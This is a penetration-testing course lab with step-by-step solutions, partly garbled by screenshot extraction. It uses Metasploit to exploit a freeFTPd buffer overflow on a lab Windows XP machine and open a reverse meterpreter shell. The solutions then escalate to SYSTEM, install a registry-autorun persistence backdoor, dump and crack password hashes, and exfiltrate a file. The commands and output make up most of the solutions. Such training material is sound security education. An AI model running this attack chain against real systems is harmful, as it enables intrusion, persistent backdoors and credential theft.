

METASPLOIT



PENETRATION TESTING | SECTION 3 MODULE 6 | LAB #16

LAB



1. DESCRIPTION

In this lab, you will have to use Metasploit and meterpreter against a real machine; this will help you become familiar with the Metasploit framework and its features.

2.GOAL

The goals of the lab are to:

- Identify the target machine on the network
- Find a vulnerable service
- Exploit the service by using Metasploit to get a meterpreter session
- Gather information from the machine by using meterpreter commands
- Retrieve the password hashes from the exploit machine
- Search for a file named "Congrats.txt"

3. Tools

The best tools for this lab are:

- Nmap
- Metasploit (Metasploit 5 is recommended)
- John the Ripper



4. STEPS

4.1. FIND A TARGET IN THE NETWORK

Since we do not have any information about the remote network and the hosts attached to it, the first step is to find a possible target!

4.2. **IDENTIFY AVAILABLE SERVICES ON THE TARGET**

Now that we know there is a host on the target network, scan the host and gather as much information as possible.

FIND A VULNERABLE SERVICE IN METASPLOIT 4.3.

You should have identified a few services running on the machine. Check if Metasploit contains any working exploit for that specific services and version

44 CONFIGURE THE MODILLE AND EXPLOIT THE MACHINE

Select the Metasploit module found in the previous step and configure it with the correct parameters. Once you have the module set, launch the exploit! You should get a meterpreter session!

4.5. **OBTAIN SYSTEM** PRIVILEGES ON THE MACHINE

The most important step once you exploit a machine is to get the highest privileges you can. This will allow you to access much more information as well as run much more commands. Try to obtain system privileges on the machine!

4.6. **INSTALL A BACKDOOR**

Now that you have full privileges on the machine, install a backdoor on it.

If you want to test if the backdoor works, just run "reboot" in the meterpreter session and wait a minute. Once the machine turns back, you should be able to use your backdoor!

4.7. **G**ET THE PASSWORD HASHES AND CRACK THEM

It is now time to gather some data! Dump all the password hashes of the exploited machine!

Once you have them, you can also try to crack the passwords with *John the Ripper*.

GATHER INFORMATION 4.8.

Try to gather as much information as possible from the target machine: applications, routes, interfaces and so on. Explore the machine and the Metasploit module to practice with different tools and output.

4.9. LOCATE AND DOWNLOAD THE CONGRATS.TXT FILE

Browse the target machine, find the file named "Congrats.txt" and download it into your machine!



SOLUTIONS

Below, you will find solutions for every task of this lab. Please go ahead ONLY if you have **COMPLETED** the lab or you are stuck. Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of the hands-on lab!



5. SOLUTIONS STEPS

5.1.FIND A TARGET IN THE NETWORK

We first need to verify which is the remote network. We can do so by running ifconfig and then checking the IP address of our tap0 interface.

```
tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.99.100 netmask 255.255.255.0 broadcast 192.168.99.255
       inet6 fe80::2820:aaff:fe8d:aa4e prefixlen 64 scopeid 0x20<link>
       ether 2a:20:aa:8d:aa:4e txqueuelen 100 (Ethernet)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 8 bytes 656 (656.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

As we can see, the target network is 192.168.99.0/24.

Let's run nmap -sn in order to discover available hosts on the network:

```
luk3:~# nmap -sn 192.168.99.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 14:55 CET
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 64.71% done; ETC: 14:55 (0:00:04 remaining)
Nmap scan report for 192.168.99.12
Host is up (0.050s latency).
MAC Address: 00:50:56:A1:A9:5C (VMware)
Nmap scan report for 192.168.99.100
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 15.21 seconds
```

The above screenshot shows that the only host alive in the network is 192.168.99.12 (besides our host: 192.168.99.100).



5.2. IDENTIFY AVAILABLE SERVICES ON THE TARGET

Run a service detection scan and verify which services are listening on the remote host:

```
root@0xluk3:~# nmap -sV 192.168.99.12
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 14:56 CET
Nmap scan report for 192.168.99.12
Host is up (0.24s latency).
Not shown: 994 closed ports
PORT
          STATE SERVICE
                                   VERSION
21/tcp
          open ftp
                                   FreeFTPd 1.0
22/tcp
                 ssh
                                   WeOnlyDo sshd 2.1.8.98 (protocol 2.0)
          open
135/tcp open
                  msrpc
                                   Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 00:50:56:A1:A9:5C (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows xp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.60 seconds
```

As we can see in the previous output, there are a few services enabled.

Let's focus our tests on the *FreeFTPd*.



5.3. FIND A VULNERABLE SERVICE IN METASPLOIT

Run a search in the Metasploit database and see if there are any modules related to the *freeFTPd* service:

```
Matching Modules
                                                                                        Disclosure Date
                                                                                                                                           Check Description
                                                                                                                                                        freeFTPd PASS Command Buffer Overflow
freeFTPd 1.0 Username Overflow
FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
    exploit/windows/ftp/freeftpd_pass
exploit/windows/ftp/freeftpd_user
exploit/windows/ssh/freeftpd_key_
```

search freeftp

Reviewing the output in the above screenshot, we can see that there are a few modules we can use. Let's select the first in the list as it was the most recent one that was discovered and is also the more reliable.



5.4. CONFIGURE THE MODULE AND EXPLOIT THE MACHINE

First, select the module and configure its options as follows:

```
msf5 > use exploit/windows/ftp/freeftpd_pass
msf5 exploit(windows/ftp/freeftpd_pass) > show options
Module options (exploit/windows/ftp/freeftpd_pass):
   Name
             Current Setting Required Description
   FTPUSER anonymous
                                            The username to authenticate with
                                 yes
   RHOSTS
                                            The target address range or CIDR identifier
                                 yes
                                            The target port (TCP)
   RPORT
             21
                                 yes
Exploit target:
   Id Name
        freeFTPd 1.0.10 and below on Windows Desktop Version
msf5 exploit(windows/ftp/freeftpd pass) > set ftpuser anonymous
ftpuser => anonymous
msf5 exploit(wi
                         tp/freeftpd_pass) > set rhosts 192.168.99.12
rhosts => 192.168.99.12
msf5 exploit(windows/ftp/freeftpd_pass) > set rport 21
rport => 21
rport => 21
msf5 exploit(windows/ftp/freeftpd_pass) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/ftp/freeftpd_pass) > set exitfunc process
exitfunc => process
msf5 exploit(windows/ftp/freeftpd_pass) > set lhost 192.168.99.100
lhost => 192.168.99.100
msf5 exploit(windows/ftp/freeftpd_pass) > set lport 4444
lport => 4444
msf5 exploit(windows/ftp/freeftpd_pass) >
```

```
use exploit/windows/ftp/freeftpd_pass
set ftpuser anonymous
set rhosts 192.168.99.12
set rport 21
set payload windows/meterpreter/reverse tcp
set exitfunc process
set lhost 192.168.99.100
set lport 4444
```



```
msf5 exploit(windows/ftp/freeftpd_pass) > show options
Module options (exploit/windows/ftp/freeftpd pass):
   Name
            Current Setting Required Description
   FTPUSER anonymous
                             yes
                                      The username to authenticate with
           192.168.99.12
   RHOSTS
                                      The target address range or CIDR identifier
                             yes
   RPORT
            21
                             yes
                                      The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
            Current Setting Required Description
   Name
   EXITFUNC
            process
                                       Exit technique (Accepted: '', seh, thread, process, none)
             192.168.99.100 yes
                                       The listen address (an interface may be specified)
   LHOST
                                       The listen port
  LPORT
             4444
                             yes
Exploit target:
   Id Name
       freeFTPd 1.0.10 and below on Windows Desktop Version
```

The previous screenshot shows the module configured and ready to run. We just had to select the RHOST and set the payload options.

Now we can start the module by typing **exploit**:

```
msf5 exploit(wi
      Started reverse TCP handler on 192.168.99.100:4444
      192.168.99.12:21 - Trying target freeFTPd 1.0.10 and below on Windows Desktop Version with user anonymous... Sending stage (179779 bytes) to 192.168.99.12

Meterpreter session 1 opened (192.168.99.100:4444 -> 192.168.99.12:1035) at 2019-02-15 15:10:28 +0100
```

```
<u>meterpreter</u> > getuid
Server username: ELS-WINXP\ftp
```

As we can see, we have successfully exploited the service! A meterpreter session is opened, and our prompt changes!



5.5. **OBTAIN SYSTEM PRIVILEGES ON THE MACHINE**

As you already know, meterpreter offers a lot of commands and functionalities.

In order to escalate privileges on Windows machines we just have to type **getsystem** and hit enter:

```
meterpreter > getuid
Server username: ELS-WINXP\ftp
<u>meterpreter</u> > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

In the above screenshot, you can see how we successfully escalated the privileges (from ftp user to system).



5.6. **INSTALL A BACKDOOR**

There are many modules and commands that we can use to install a backdoor on the target machine automatically.

In this lab, we are going to use the *persistence* module as follows.

By pressing Ctrl + z inside the meterpreter prompt, we can put it into the background and work further on the backdoor:

```
meterpreter >
Background session 1? [y/N]
```

One additional thing we must do is check the session number.

Type "sessions -l" inside the Metasploit prompt and keep in mind the **Id** value:

```
Active sessions
                                   Information
                                                                    Connection
 Id Name Type
           meterpreter x86/windows NT AUTHORITY\SYSTEM @ ELS-WINXP 192.168.99.100:4444 -> 192.168.99.12:1035 (192.168.99.12)
```

Now, let's go to the persistence module, as follows:

```
Module options (exploit/windows/local/persistence):
                               Current Setting Required Description
      Name
                                                                                                   Delay (in seconds) for persistent payload to keep reconnecting back.

The filename for the payload to be used on the target host (%RAND%.exe by default).

Path to write payload (%TEMP% by default).

The name to call registry value for persistence on target host (%RAND% by default).

The session to run this module on.

Startup type for the persistent payload. (Accepted: USER, SYSTEM)

The filename to use for the VBS persistent script on the target host (%RAND% by default).
      DELAY
      EXE_NAME
      PATH
                                                                           no
      REG_NAME
SESSION
                               USER
Exploit target:
      Id Name
               Windows
```

Let's configure it.

The session should be set to the same value as obtained above.



```
msf5 exploit(wi
                       s/local/persistence) > set reg_name backdoor
reg_name => backdoor
msf5 exploit(wir
                         local/persistence) > set exe name backdoor
mexe_name => backdoor
msf5 exploit(windows/local/persistence) > set startup system
[-] The following options failed to validate: Value 'system' is not valid for option 'STARTUP'.
                       s/local/persistence) > set startup SYSTEM
msf5 exploit(win
startup => SYSTEM
msf5 exploit(windows/local/persistence) > set session 1
session => 1
msf5 exploit(windows/local/persistence) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
                       s/local/persistence) > set exitfunc process
msf5 exploit(win
msf5 exploit(windows,
exitfunc => process
msf5 exploit(windows/local/persistence) > set lhost 192.168.99.100
msf5 exploit(windows/local/persistence) > set lport 5555
 lport => 5555
```

```
use exploit/windows/local/persistence
set reg name backdoor
set exe_name backdoor
set startup SYSTEM
set session 1
set payload windows/meterpreter/reverse_tcp
set exitfunc process
set lhost 192.168.99.100
set lport 5555
set DisablePayloadHandler false
exploit //if the backdoor doesn't start immediately, use "exploit
-j" instead
```



```
Module options (exploit/windows/local/persistence):
                       Current Setting Required Description
                                                                          Delay (in seconds) for persistent payload to keep reconnecting back.
The filename for the payload to be used on the target host (%RAND%.exe by default).
Path to write payload (%TEMP% by default).
The name to call registry value for persistence on target host (%RAND% by default).
The session to run this module on.
Startup type for the persistent payload. (Accepted: USER, SYSTEM)
The filename to use for the VBS persistent script on the target host (%RAND% by default).
    DELAY
    EXE NAME backdoor
    REG NAME backdoor
                                                        no
    SESSION
STARTUP
                       SYSTEM
    VBS NAME
Payload options (windows/meterpreter/reverse tcp):
                       Current Setting Required Description
                                                                          Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
    EXITFUNC process yes
LHOST 192.168.99.100 yes
LPORT 5555 yes
      **DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**
xploit target:
```

We will also need to enable the Payload Handler in order to receive the connection, as follows:

```
msf5 exploit(windows/local/persistence) > set DisablePayloadHandler false
```

As we can see in the screenshot, we set the STARTUP parameter to SYSTEM (since we have system privileges on the machine) but also set the name of the Windows registry key to "backdoor".

Moreover, if you check the payload options, we set the backdoor to connect on our local IP address on port 5555.

Let's try to run it!

```
set DisablePayloadHandler false
DisablePayloadHandler => false
msf5 exploit(wi
                                                   istence) > exploit
      Started reverse TCP handler on 192.168.99.100:5555
     Running persistent module against ELS-WINXP via session ID: 1
Persistent VBS script written on ELS-WINXP to C:\DOCUME~1\ftp\LOCALS~1\Temp\bqSJdQGHobLMg.vbs
Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor
      Installed autorun on ELS-WINXP as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor
     Clean up Meterpreter RC file: /root/.msf4/logs/persistence/ELS-WINXP_20190215.3959/ELS-WINXP_20190215.3959.rc Sending stage (179779 bytes) to 192.168.99.12 Meterpreter session 2 opened (192.168.99.100:5555 -> 192.168.99.12:1038) at 2019-02-15 15:40:03 +0100
 eterpreter >
```

Depending on your version of Kali and Metasploit you might receive the shell immediately or not.

Older versions of Metasploit / Kali may allow you to establish a new session immediately, while Kali 2019 / Metasploit5 may require a reboot.

If your output looks like than the one below and your meterpreter shell on port 5555 didn't pop out, you need to proceed further:

```
isablePayloadHandler => false

nsf5 exploit(windows/local/persistence)

*] Exploit running as background job 0.
    Started reverse TCP handler on 192.168.99.100:5555
*] Running persistent module against ELS-WINXP via session ID: 1
<u>ssf5</u> exploit(windows/local/persistence) > [+] Persistent VBS script written on ELS-WINXP to C:\DOCUME~1\ftp\LOCALS~1\Temp\ukkPqGLcodt
    Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor
    Installed autorun on ELS-WINXP as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor Clean up Meterpreter RC file: /root/.msf4/logs/persistence/ELS-WINXP_20190502.5203/ELS-WINXP_20190502.5203.rc
```

As you can see, the backdoor has been successfully installed, but it was just planted on the target system in the registry's autorun area. In order to run the backdoor, we need to perform a system reboot (a user who switches off and on his machine would have caused the backdoor to run eventually). Let's go back to our meterpreter session and spawn a shell to reboot the victim system:

```
sessions -i 1
shell
shutdown /r /f
```

You will know that the reboot occurred when your meterpreter session dies after a minute or two:

```
<u>msf5</u> exploit(windows/local/persistence) > [*] 192.168.99.12 - Meterpreter session 1 closed. Reason: Died
```

Let's go back to the shell.

```
msf5 exploit(windows/local/persistence) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 1152 created.
Channel 3 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>shutdown /r /f
shutdown /r /f
C:\WINDOWS\system32>^Z
Background channel 3? [y/N] y
meterpreter >
```

When in shell, press Ctrl+Z twice to return to the main Metasploit menu. Type "jobs -l" to see if any active listeners are running:



```
meterpreter >
Background session 1? [y/N]
msf5 exploit(windows/local/persistence) > jobs -l
Jobs
No active jobs.
msf5 exploit(windows/local/persistence) >
```

It seems that we are currently unable to receive any backdoor connection since there are no working listeners.

In this case, let's create a Metasploit listener to receive the connection. The payload has to be of the same type as the backdoor that was placed on the victim system:

```
use exploit/multi/handler
set lhost 192.168.99.100
set lport 5555
set payload windows/meterpreter/reverse tcp
exploit -j
```

```
·] Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION.
msf5 exploit(windows/local/persistence) > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.99.100
lhost => 192.168.99.100
msf5 exploit(multi/
                                         .er) > set lport 5555
lport => 5555
msf5_ exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5_ exploit(multi/handler) > exploit -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.99.100:5555
<u>msf5</u> exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.99.12
[*] Meterpreter session 2 opened (192.168.99.100:5555 -> 192.168.99.12:1049) at 2019-05-02 10:59:44 +0200
```

Now, press ENTER. You should be now able to interact with your backdoor session:

```
msf5 exploit(multi/handler) > sessions -l
Active sessions
  Id Name Type
                                               Information
                                                                                        Connection
              meterpreter x86/windows ELS-WINXP\eLSAdmin @ ELS-WINXP 192.168.99.100:5555 -> 192.168.99.12:1049 (192.168.99.12)
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
<u>meterpreter</u> > getuid
Server username: ELS-WINXP\eLSAdmin
<u>meterpreter</u> > ■
```



5.7. **G**ET THE PASSWORD HASHES AND CRACK THEM

Let's now escalate to SYSTEM once again and then try to dump the password hashes from victim machine, as follows:

```
msf5 exploit(
                              sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: ELS-WINXP\eLSAdmin
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
eLSAdmin:1003:aad3b435b51404eeaad3b435b51404ee:87289513bddc269f9bcb24d74864beb2:::
ftp:1004:4ff1ab31fc4b0ebdaad3b435b51404ee:9865c4bdcd9578a380297c5095e6c852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:a88f7de3e682d17fea34bd03086620b5:2b07e52daf608f50d4cd9506c5b0220d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9f79c84005db73e0122f424022f8dbc0:::
meterpreter >
```

Once we have the hashes, we can store them locally into a file and use John the Ripper to crack them.

```
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
eLSAdmin:1003:aad3b435b51404eeaad3b435b51404ee:87289513bddc269f9bcb24d74864beb2:::
ftp:1004:4ff1ab31fc4b0ebdaad3b435b51404ee:9865c4bdcd9578a380297c5095e6c852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:a88f7de3e682d17fea34bd03086620b5:2b07e52daf608f50d4cd9506c5b0220d:::
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9f79c84005db73e0122f424022f8dbc0::
```

```
:3:~# john pwd
Created directory: /root/.john
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT-old"
Use the "--format=NT-old" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 8 password hashes with no different salts (LM [DES 256/256 AVX2-16])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
                   (ftp)
Almost done: Processing the remaining buffered candidate passwords, if any
Warning: Only 453 candidates buffered for the current salt, minimum 512
needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
                   (SUPPORT 388945a0)
                   (Guest)
PASSWOR
```



5.8. GATHER INFORMATION

In this task, you can use every command or module you want to gather information from the remote machine; this will help you to better understand how to use Metasploit and its features.



5.9. LOCATE AND DOWNLOAD THE CONGRATS.TXT FILE

In order to locate and download the *Congrats.txt* file we can simply run the following commands:

```
search -f congrats.txt
download 'c:\Documents and Settings\eLSAdmin\My
Documents\Congrats.txt' /root/
or
download 'c:\\Documents and Settings\eLSAdmin\My
Documents\Congrats.txt' /root/
```

```
<u>eterpreter</u> > search -f congrats.txt
ound 1 result...
c:\Documents and Settings\eLSAdmin\My Documents\Congrats.txt (64 bytes)
meterpreter > download 'c:\Documents and Settings\eLSAdmin\My Documents\Congrats.txt' /root/
[*] Downloading: c:\Documents and Settings\eLSAdmin\My Documents\Congrats.txt -> /root//Congrats.txt
[*] Downloaded 64.00 B of 64.00 B (100.0%): c:\Documents and Settings\eLSAdmin\My Documents\Congrats.txt
[*] download : c:\Documents and Settings\eLSAdmin\My Documents\tongrats.txt
       erpreter >
```

Now, we just need to open it:

```
@Oxluk3:~# cat Congrats.txt
Congratulations! You have successfully exploited this machine!
```

